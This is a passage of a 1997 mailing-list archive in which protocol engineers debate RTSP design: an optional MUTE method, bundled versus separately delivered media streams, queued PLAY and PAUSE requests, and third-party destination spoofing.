>consistent with the "underlying philosophies" of such logical sessions. 
>
>
>


From majordom@ISI.EDU  Sat Apr 19 06:20:54 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25931>; Sat, 19 Apr 1997 07:21:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25925>; Sat, 19 Apr 1997 07:20:57 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA17326>; Sat, 19 Apr 1997 07:20:56 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA05006 for <confctrl@isi.edu>; Sat, 19 Apr 1997 10:20:55 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id KAA09473 for <confctrl@isi.edu>; Sat, 19 Apr 1997 10:20:54 -0400 (EDT)
Message-Id: <3358D4C6.32B0@cs.columbia.edu>
Date: Sat, 19 Apr 1997 10:20:54 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: Re: MUTE in RTSP
References: <503A2A3C2932CF118D8800805FD44E18032F7495@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> Streaming a presentation (i.e., multiple multimedia streams treated as a
> single entity) is the most efficient streaming approach possible for a
> server.

Just to avoid confusion, may I suggest that we distinguish two cases of
multimedia, from a delivery standpoint:

1) 'multiple-media, single-stream': data is read from a single file
(say, QuickTime, ASF, whatever) [this part is obviously invisible to the
outside world] and [importantly] delivered in some interleaved stream
format on a single network 'connection', that is, the same UDP port and
multicast address and SSRC (if RTP) for all media.

2) logical grouping (if you like, virtual presentation): the client
knows that audio and video belong together, but they get controlled by
separate RTSP URLs and the server doesn't know or care. Audio and video
are delivered separately and synchronized at the receiver. Audio and
video may originate at the same physical server, but not necessarily.

Note that the issue of MUTEing is independent of whether the server
knows about the relationship between the streams or not.

We had the discussion as to whether interleaving (= single RTP/network
stream with multiple media) is better or not a few times, without much
progress; I believe RTSP should be agnostic on this front.

> 
> Should one then treat one media type differently from another then one
> is no longer treating the multiple streams as a unit. Whenever you do
> this you increase server overhead tremendously.
> 
> The amount of "tremendously" depends on the implementation. If you have
> an approach especially tailored for maximum server efficiency such as
> ours, the overhead of doing this is immense.

Serving data seems to consist roughly of three parts:

1) get the data from permanent storage or a cache fronting for it

2) schedule delivery at appropriate time intervals to maintain
approximate timing and adhere to network flow contracts, if applicable;
increase the logical clock (normal play time) of the stream
corresponding to progression of time within the stream

3) put the stuff out on the network.

MUTEing, in a sense, just skips (1) and (3), but keeps increasing the
clock as in (2). Thus, it seems hard to believe that this would consume
more resources than doing 'real' delivery. This is convenient, but not
necessary, if the client is streaming several media and synchronizing
them. As has been pointed out, the client can PAUSE and PLAY (at the new
time point) the stream to achieve the same effect. Since it's generally
a good idea to have the client do work rather than the server, this may
be an appropriate mechanism.

If you have a multimedia stream that you need to physically disassemble
(say, recreate a new QuickTime file) to disable a particular media, this
is clearly more work than just shoveling the whole thing out the door.
In some cases (plenty of bandwidth), a server may decide that it's too
busy to bother and let the client turn down the volume if the client
doesn't want to listen to the audio. 

It's not clear to me what the server serving a single QuickTime/ASF
movie would do when told to PAUSE the audio. It appears it would have to
do the same disassembly or just offer QuickTime movies as a single
entity.

The whole area of group RTSP streams (presentations) is still a bit
fuzzy and requires more discussion. I think we should settle that issue
first. MUTE is something we can always offer later, if needed.

From majordom@ISI.EDU  Sat Apr 19 07:03:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26311>; Sat, 19 Apr 1997 08:03:18 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26305>; Sat, 19 Apr 1997 08:03:16 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18196>; Sat, 19 Apr 1997 08:03:15 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA05871; Sat, 19 Apr 1997 11:03:13 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id LAA09509; Sat, 19 Apr 1997 11:03:13 -0400 (EDT)
Message-Id: <3358DEB0.1EBA@cs.columbia.edu>
Date: Sat, 19 Apr 1997 11:03:12 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: David Oran <oran@cisco.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP: 7. Undiscussed issues
References: <3.0.1.32.19970418104302.00859b90@pointer.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

David Oran wrote:
> 
> >   o Queued PLAY ranges. The authors recommend that
> >     PLAY messages can be queued, but that a PAUSE
> >     message clears the queue entirely.
> Just an observation: queueing PLAYs is relatively easy as long as RTSP
> itself runs over a reliable transport, but can get tricky fast if you want
> to make the protocol inherently sequential and allow it to run on UDP.

I suppose that depends on the implementation. If you have a 'reliability
module' that doesn't pass on any out-of-order PLAY packets to the RTSP
state machine, this would seem to be no different than using TCP.

Actually, PAUSE with timestamp does not clear the queue - it clears
whatever comes after it in NPT. PAUSE without timestamp clears the
queue.

From majordom@ISI.EDU  Sat Apr 19 22:47:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28140>; Sat, 19 Apr 1997 09:45:42 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28134>; Sat, 19 Apr 1997 09:45:36 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21481>; Sat, 19 Apr 1997 09:45:34 -0700
Received: (qmail 9226 invoked by uid 1067); 19 Apr 1997 16:47:09 -0000
Date: Sat, 19 Apr 1997 19:47:09 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Jeff Smith <sumisu@nttlabs.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of control  messages 
In-Reply-To: <199704181543.IAA26028@mailhost.nttlabs.com>
Message-Id: <Pine.LNX.3.95.970419194559.9190B-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 18 Apr 1997, Jeff Smith wrote:

>This is beginning to sound more and more like a task to be performed
>by an invitation protocol (SIP) and not a channel control protocol.

Indeed. However, there may be some problems in that approach as well.
Especially in the case where the desired destination address is multicast.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


's no other way to specify a multicast address than for either
>the client or the server to pick it.
>
>Actually, multicast addresses are safer than unicast addresses since
>receivers have to join the multicast group before the data flows. 

Agreed. Multicasting is built from the ground up to have dynamic group
membership, something unicast protocols do not ordinarily have. So that
makes things a lot easier.

>In thinking about this thread, if a client wants data sent to some random
>IP address, the server shouldn't do it unless something at that IP address
>says it's OK.

Precisely my point.

>Maybe we have to invent a simple UDP-based protocol from the
>destination address to the server to actually turn on transmission, or
>possibly add an RTCP message that comes from a unicast destination back to
>the server before data will flow.

Indeed. RTSP should be reserved for stream control, not for managing
multicast group memberships or anything like that.

>The more I think about it, the more I think the RTCP idea may be worth
>pursuing since it would work on any RTP stream coming from a cooperating
>source (which the RTSP server is likely to be) but wouldn't be dependent on
>RTSP - other protocols might run into similar 3rd party spoofing problems.

Yep. The idea is well in line with the idea of keeping things simple and
modular.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Sat Apr 19 02:50:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28208>; Sat, 19 Apr 1997 09:50:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28202>; Sat, 19 Apr 1997 09:50:25 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21501>; Sat, 19 Apr 1997 09:50:25 -0700
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id JAA02687; Sat, 19 Apr 1997 09:50:16 -0700 (PDT)
Message-Id: <199704191650.JAA02687@mailhost.nttlabs.com>
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: RTSP: 6. Destination for data that is not the source of control
	 messages 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Sat, 19 Apr 1997 19:47:09 +0300"
References: <Pine.LNX.3.95.970419194559.9190B-100000@nexus.edu.lahti.fi> 
Date: Sat, 19 Apr 1997 09:50:00 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Why would a multicast destination be problematic?  Seems to me that
SIP was designed largely for the multicast case.

|On Fri, 18 Apr 1997, Jeff Smith wrote:
|
|>This is beginning to sound more and more like a task to be performed
|>by an invitation protocol (SIP) and not a channel control protocol.
|
|Indeed. However, there may be some problems in that approach as well.
|Especially in the case where the desired destination address is multicast.
|
|Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>
|
|


From majordom@ISI.EDU  Sat Apr 19 05:15:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00124>; Sat, 19 Apr 1997 12:41:31 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00118>; Sat, 19 Apr 1997 12:41:30 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25496>; Sat, 19 Apr 1997 12:41:30 -0700
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id MAA08429; Sat, 19 Apr 1997 12:15:57 -0700
Date: Sat, 19 Apr 1997 12:15:56 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: confctrl@ISI.EDU
Subject: RE: MUTE in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F7495@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.SOL.3.93.970419120350.4223A-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> Streaming a presentation (i.e., multiple multimedia streams treated as a
> single entity) is the most efficient streaming approach possible for a
> server. 

I do not believe that assertion.

In fact, when a composition of streams can be sent by distinct, but time
synchronized computers (or processors) that bundling would tend to add
artificial limitations.

As has been said many times on this list: Real implementations have
demonstrated that the true burden of achieving synchronized rendering
among multiple streams falls on the receiver.  Whether the streams are
emitted in tight or loose synchrony at the source(s) is somewhat
irrelevant. 

		--karl--




From majordom@ISI.EDU  Sat Apr 19 05:23:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00136>; Sat, 19 Apr 1997 12:42:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00130>; Sat, 19 Apr 1997 12:42:02 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25504>; Sat, 19 Apr 1997 12:42:01 -0700
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id MAA08441; Sat, 19 Apr 1997 12:23:47 -0700
Date: Sat, 19 Apr 1997 12:23:46 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: Gray Cope <grayc@CreativeConnections.com>
Cc: confctrl@ISI.EDU
Subject: Re: MUTE in RTSP
In-Reply-To: <1.5.4.32.19970419060615.0087b2b4@CreativeConnections.com>
Message-Id: <Pine.SOL.3.93.970419121602.4223B-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> So if the RTSP specification did not _require_ the MUTE request to be
> implemented would that address your concerns?

Making parts of a specification optional tends to cause interoperability
problems (and user unhappiness).


> Ultimately the content creator or distributor can exercise control
> over how their presentation is delivered.  That is they can specify
> that their content not be delivered by a service that implements
> the MUTE request.

Since the user controls whether the audio is even plugged into speakers or
whether the screen is turned on, what you suggest would ultimately be
futile.

Which is better for the network?  To carry packets to the receiver just to
have them rendered into a device disabled by the user?  Or is it better
just to supress the useless data at the source and not pay the carrying
cost?

Somehow this whole thread of "author's rights" strikes me in about the
same was as did the old Outer Limits TV show -- They said that they
controlled the horizontal and that they controlled the vertical.  But I
controlled the power switch.  I think that in this case the user holds the
trump card over any "author's intention". 

		--karl--





From majordom@ISI.EDU  Sat Apr 19 08:58:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03912>; Sat, 19 Apr 1997 15:58:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03906>; Sat, 19 Apr 1997 15:58:32 -0700
Received: from cronus.rockisland.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01386>; Sat, 19 Apr 1997 15:58:31 -0700
Received: from Gray (nts33.rockisland.com [199.217.72.83]) by cronus.rockisland.com (8.8.2/8.6.9) with SMTP id PAA12267; Sat, 19 Apr 1997 15:55:32 -0700 (PDT)
Message-Id: <1.5.4.32.19970419225857.00856218@CreativeConnections.com>
X-Sender: grayc@CreativeConnections.com
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 19 Apr 1997 15:58:57 -0700
To: karl@precept.com
From: Gray Cope <grayc@CreativeConnections.com>
Subject: Re: MUTE in RTSP
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi Karl,

I personally feel MUTE is a good addition to RTSP with regard
to reducing network traffic.  The point that the user has ultimate
control over the presentation had not been missed by me.

My main interest was in seeing if there was some middle ground for Eric.
I realize now that he wasn't concerned about content control
but rather server overhead issues for his MS server.

In general, I see the value in your point about interoperability but
in the case of MUTE as an optional implementation I'm not convinced
it would cause interoperability or make for an unhappy user.

Gray

At 12:23 PM 4/19/97 -0700, Karl Auerbach wrote:
>
>> So if the RTSP specification did not _require_ the MUTE request to be
>> implemented would that address your concerns?
>
>Making parts of a specification optional tends to cause interoperability
>problems (and user unhappiness).
>
>
>> Ultimately the content creator or distributor can exercise control
>> over how their presentation is delivered.  That is they can specify
>> that their content not be delivered by a service that implements
>> the MUTE request.
>
>Since the user controls whether the audio is even plugged into speakers or
>whether the screen is turned on, what you suggest would ultimately be
>futile.
>
>Which is better for the network?  To carry packets to the receiver just to
>have them rendered into a device disabled by the user?  Or is it better
>just to supress the useless data at the source and not pay the carrying
>cost?
>
>Somehow this whole thread of "author's rights" strikes me in about the
>same was as did the old Outer Limits TV show -- They said that they
>controlled the horizontal and that they controlled the vertical.  But I
>controlled the power switch.  I think that in this case the user holds the
>trump card over any "author's intention". 
>
>		--karl--
>
>
>
>
>
>


From majordom@ISI.EDU  Mon Apr 21 03:05:22 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09712>; Mon, 21 Apr 1997 10:17:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09705>; Mon, 21 Apr 1997 10:17:36 -0700
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10223>; Mon, 21 Apr 1997 10:17:35 -0700
Received: by INET-05-IMC with Internet Mail Service (5.0.1458.14)
	id <JGYXJF8K>; Mon, 21 Apr 1997 10:11:04 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F7498@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'karl@precept.com'" <karl@precept.com>, confctrl@ISI.EDU
Subject: RE: MUTE in RTSP
Date: Mon, 21 Apr 1997 10:05:22 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

My concerns from the beginning have been about so-called "CD-ROM
content". Such multimedia streams are commonly already bundled as a
"unit". The significant majority of "on demand" multimedia streaming is
of that type of content.

I am surprised that you do not believe that it is more work for a server
to 
(A) split out already-integrated multimedia data into the separate
"media types" which make up the unit, associate a session for each of
those "media types", and send the data on its way, handling each media
types' timing dependencies and timeline than 
(B) to have that same server send that content "as a bundle" down to the
client at a rate determined by the "bundled" media timing dependencies. 
Even if we were only talking about 2 media types (instead of arbitrarily
large number of media types) it appears obvious (to my feeble mind, at
least) that A is significantly more work than B. 

Remember, RTSP is about multimedia *streaming*. This is a somewhat
different "ball game" than MBONE. Here "on demand" use is at least as
important as satisfying the needs of "live events".

> -----Original Message-----
> From:	Karl Auerbach [SMTP:karl@precept.com]
> Sent:	Saturday, April 19, 1997 12:16 PM
> To:	confctrl@ISI.EDU
> Subject:	RE: MUTE in RTSP
> 
> 
> > Streaming a presentation (i.e., multiple multimedia streams treated
> as a
> > single entity) is the most efficient streaming approach possible for
> a
> > server. 
> 
> I do not believe that assertion.
> 
> In fact, when a composition of streams can be sent by distinct, but
> time
> synchronized computers (or processors) that bundling would tend to add
> artificial limitations.
> 
> As has been said many times on this list: Real implementations have
> demonstrated that the true burden of achieving synchronized rendering
> among multiple streams falls on the receiver.  Whether the streams are
> emitted in tight or loose synchrony at the source(s) is somewhat
> irrelevant. 
> 
> 		--karl--
> 
> 

From majordom@ISI.EDU  Mon Apr 21 02:16:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06221>; Mon, 21 Apr 1997 09:19:54 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06215>; Mon, 21 Apr 1997 09:19:53 -0700
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06842>; Mon, 21 Apr 1997 09:19:52 -0700
Received: by INET-04-IMC with Internet Mail Service (5.0.1458.14)
	id <JGXCB44F>; Mon, 21 Apr 1997 09:19:47 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F7496@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Gray Cope' <grayc@CreativeConnections.com>
Cc: confctrl@ISI.EDU
Subject: Presentations & MUTE in RTSP
Date: Mon, 21 Apr 1997 09:16:56 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I think that there is widespread agreement in the RTSP community that
MUTE should be optional. I certainly haven't heard anybody requesting
that it even be a recommended feature. Thus, I don't think that this is
at issue here. Rather, my push-back is concerning where it is
appropriate for requests such as MUTE to be used.

The nature of my concern is about the concept of Presentation in RTSP
(see definition in section 1.3). Many/most/all people of this list come
from an MBONE background and naturally think in terms of segregated
multimedia streams such as what commonly appears on the MBONE today.
That is great. However, the majority of existing multimedia content was
created by the CD-ROM community. Vendors of streaming engines (such as
ourselves) are very interested in being able to stream *both* types of
media content (i.e., CD-ROM and MBONE).

While both types of content (CD-ROM, MBONE) could theoretically be
treated as RTSP PRESENTATIONS, the CD-ROM content is explicitly designed
to be *exclusively* treated in that manner. Most/much of this content is
interleaved. This content was designed to be treated as a unit and the
"splitting out" of various media streams from the unit at the server-end
takes quite a bit of overhead. The serving out of this CD-ROM content
(when it is treated as a unit as it was designed) has minimal overhead,
thus permitting servers of such "bundled data" to be able to
simultaneously satisfy huge number of users. 

[An aside: Streaming Servers need to support huge number of users if
they support "on-demand" uses. However, they also need to support large
number of users for a single "live" event because multicast is not yet
universally deployed. Thus, when one announces a multicasted event,
streaming servers also need to support N number of unicast sessions for
the same event for those users who are unable to receive multicast.
Thus, server performance is the single most critical element when
designing streaming products.]

Thus, my point is that the implication of MUTE varies tremendously
vis-a-vis whether the data is originally segregated streams (as in
MBONE) or whether it is originally a "unit" (as in CD-ROM technology). 

Because the handling of segregated streams is significantly more
computationally intensive at the server than handling CD-ROM content, I
can well imagine streaming products saying something like "anybody who
uses segregated streams obvously doesn't care all that much about server
performance. Therefore, let them have MUTE for that type of data since
the overhead of MUTE is minimal compared to the "big whack" in
performance associated with segregating the streams to begin with.
However, RTSP Presentations (i.e., CD-ROM data) will not support MUTE
because that would introduce large overheads into the performance."

Thus, in this hypothetical situation, a single product may support MUTE
for one data approach but will not support MUTE for another data
approach. I would like to community to be aware of this so that we could
hopefully tailor MUTE (and other alternatives like it) appropriately.

Please note that this is not a matter of data communications transports
in that both CD-ROM and MBONE data may well be carried via RTP. In the
former case, the whole CD-ROM bundle will be carried over a single RTP
session. The RTP payload type will be establed due to the information
contained in the DESCRIBE method (most probably via the second example
in section 9.2) and a dynamic payload type will then be assigned to
carry that "bundle".

> -----Original Message-----
> From:	Gray Cope [SMTP:grayc@CreativeConnections.com]
> Sent:	Friday, April 18, 1997 11:06 PM
> To:	Eric Fleischman
> Cc:	confctrl@ISI.EDU
> Subject:	Re: MUTE in RTSP
> 
> Eric,
> 
> I think I understand your concern regarding some content creators
> not wanting their "multimedia bundle" altered by muting individual
> streams within their presentation.
> 
> So if the RTSP specification did not _require_ the MUTE request to be
> implemented would that address your concerns?
> 
> Ultimately the content creator or distributor can exercise control
> over how their presentation is delivered.  That is they can specify
> that their content not be delivered by a service that implements
> the MUTE request.
> 
> Gray
> 
> 

From majordom@ISI.EDU  Mon Apr 21 05:03:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17290>; Mon, 21 Apr 1997 12:16:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17284>; Mon, 21 Apr 1997 12:16:37 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16963>; Mon, 21 Apr 1997 12:16:37 -0700
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id MAA10974; Mon, 21 Apr 1997 12:03:31 -0700
Date: Mon, 21 Apr 1997 12:03:30 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: confctrl@ISI.EDU
Subject: Re: Presentations & MUTE in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F7496@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.SOL.3.93.970421113448.5061C-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> I think that there is widespread agreement in the RTSP community that
> MUTE should be optional.

I haven't seen a concensus call, but, as I have said in e-mail to this
list, I'm against optional features in general.  Optional parts tend to
cause interoperperability problems, are undertested, and tend to make
users unhappy.  

Can you imagine how you would feel if the caller could tell your telephone
that the "mute" button on your phone should be inoperative for a
particular call? 
 
As far as my contribution to concensus goes, it is my feeling that if
there is a presentation running and the presentation is composed of
distinct streams[*], then the person in control of that presentation
should have the non-optional ability to tell the server(s) which of the
streams should be advanced with the flow of presentation time but the
data should not be transmitted onto the network.

[*] There's actually a somewhat fuzzy line here -- some "encodings",
eg. mpeg, have both audio and video mixed in a way that a server could
separate them, but often at considerable processing cost.  I would say
that a server need not be required to "mute" one of these streams
independent of the other.  The fuzzy line is where an "encoding" ends
and a file format begins.  I realize that from the point of view of
the person at the receiving end that this should make no difference
and contradicts my example, above, about the on-again-off-again action
of the mute button on someone's telephone.


> .... However, the majority of existing multimedia content was
> created by the CD-ROM community. 

I disagree.  The vast bulk of multimedia content is created daily by
people communicating with one another.  Add to that the professionally
generated broadcast TV and CDROMs become nearly invisibile as a tiny,
almost insignificant, speck.

		--karl--









From majordom@ISI.EDU  Mon Apr 21 04:34:18 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15122>; Mon, 21 Apr 1997 11:42:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15107>; Mon, 21 Apr 1997 11:42:52 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15177>; Mon, 21 Apr 1997 11:42:52 -0700
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id LAA10824; Mon, 21 Apr 1997 11:34:19 -0700
Date: Mon, 21 Apr 1997 11:34:18 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: confctrl@ISI.EDU
Subject: RE: MUTE in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F7498@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.SOL.3.93.970421111828.5061B-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> I am surprised that you do not believe that it is more work for a server
> to 
> (A) split out already-integrated multimedia data into the separate
> "media types" which make up the unit, associate a session for each of
> those "media types", and send the data on its way, handling each media
> types' timing dependencies and timeline than 

I am surprised that you have such a narrow focus.  I deal quite frequently
with media which is generated by two, three, or often many distinct,
synchronized but non-colocated, sources.  These are not bundled (and
indeed they are usually captured live from multiple sources) nor does the
data necessarily flow by the same pathways to the receivers. 

If you have adopted a media format which is hard to unbundle, you have my
sympathy.  But I do not see any reason to impose that design attribute
onto the network in perpituity as part of a protocol standard.

Whether the media streams arrive at the receiver unbundled or not, because
the time-to-render characteristics of each kind of rendering hardware
(audio/video/etc), the receiver must often unbundle them and do
considerable amounts of inter-stream time biasing in order to get get them
to be rendered at the same time.

In addition, by sending worthless data onto the network, the approach that
you are advocating may cause congestion and damage to the presentation
quality of entirely separate presentations.

> (B) to have that same server send that content "as a bundle" down to the
> client at a rate determined by the "bundled" media timing dependencies. 
> Even if we were only talking about 2 media types (instead of arbitrarily
> large number of media types) it appears obvious (to my feeble mind, at
> least) that A is significantly more work than B. 

From my experience building working sofware, I do not feel that the word
"significantly" is a correct assesment.

		--karl--



From majordom@ISI.EDU  Mon Apr 21 15:16:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28549>; Mon, 21 Apr 1997 16:16:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28543>; Mon, 21 Apr 1997 16:16:27 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00232>; Mon, 21 Apr 1997 16:16:24 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA28012; Mon, 21 Apr 1997 19:16:21 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id TAA15343; Mon, 21 Apr 1997 19:16:13 -0400 (EDT)
Message-Id: <335BF53D.6059@cs.columbia.edu>
Date: Mon, 21 Apr 1997 19:16:13 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@ISI.EDU
Subject: Re: Presentations & MUTE in RTSP
References: <503A2A3C2932CF118D8800805FD44E18032F7496@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In the case of 'bundled' (CD ROM) presentations shipped as a single RTP
stream, that stream is also a single RTSP stream (single RTSP URL). It
wouldn't really make any sense to pause/mute/play anything but the whole
show. If you allow anything else, you are back to having to unbundle and
reassemble the CD ROM presentation. Thus, MUTE for the whole show works
just fine (whether it's generally useful in that case is a different
issue).

We should also note that several bundled and unbundled streams may be
merged into a 'virtual presentation' by the receiver. In that case,
MUTEing may be useful, even if you mute the whole bundled stream. The
server of the bundled stream doesn't know about this and doesn't care -
this is strictly done by the receiver.

We have a mechanism (OPTIONS) where a client can easily detect the
availability of MUTE, etc., so you don't have to wait for a 5xx error
message. However, if MUTE is not generally supported in servers, smart
clients would want to fall back to PAUSE/PLAY, so that MUTE doesn't buy
much in terms of simplifying clients.

Suggestion: we can specify it as optional, since there will likely be
some servers that want to implement it and they might as well all do it
in the same way.

From majordom@ISI.EDU  Mon Apr 21 17:25:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04032>; Mon, 21 Apr 1997 18:26:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04025>; Mon, 21 Apr 1997 18:26:02 -0700
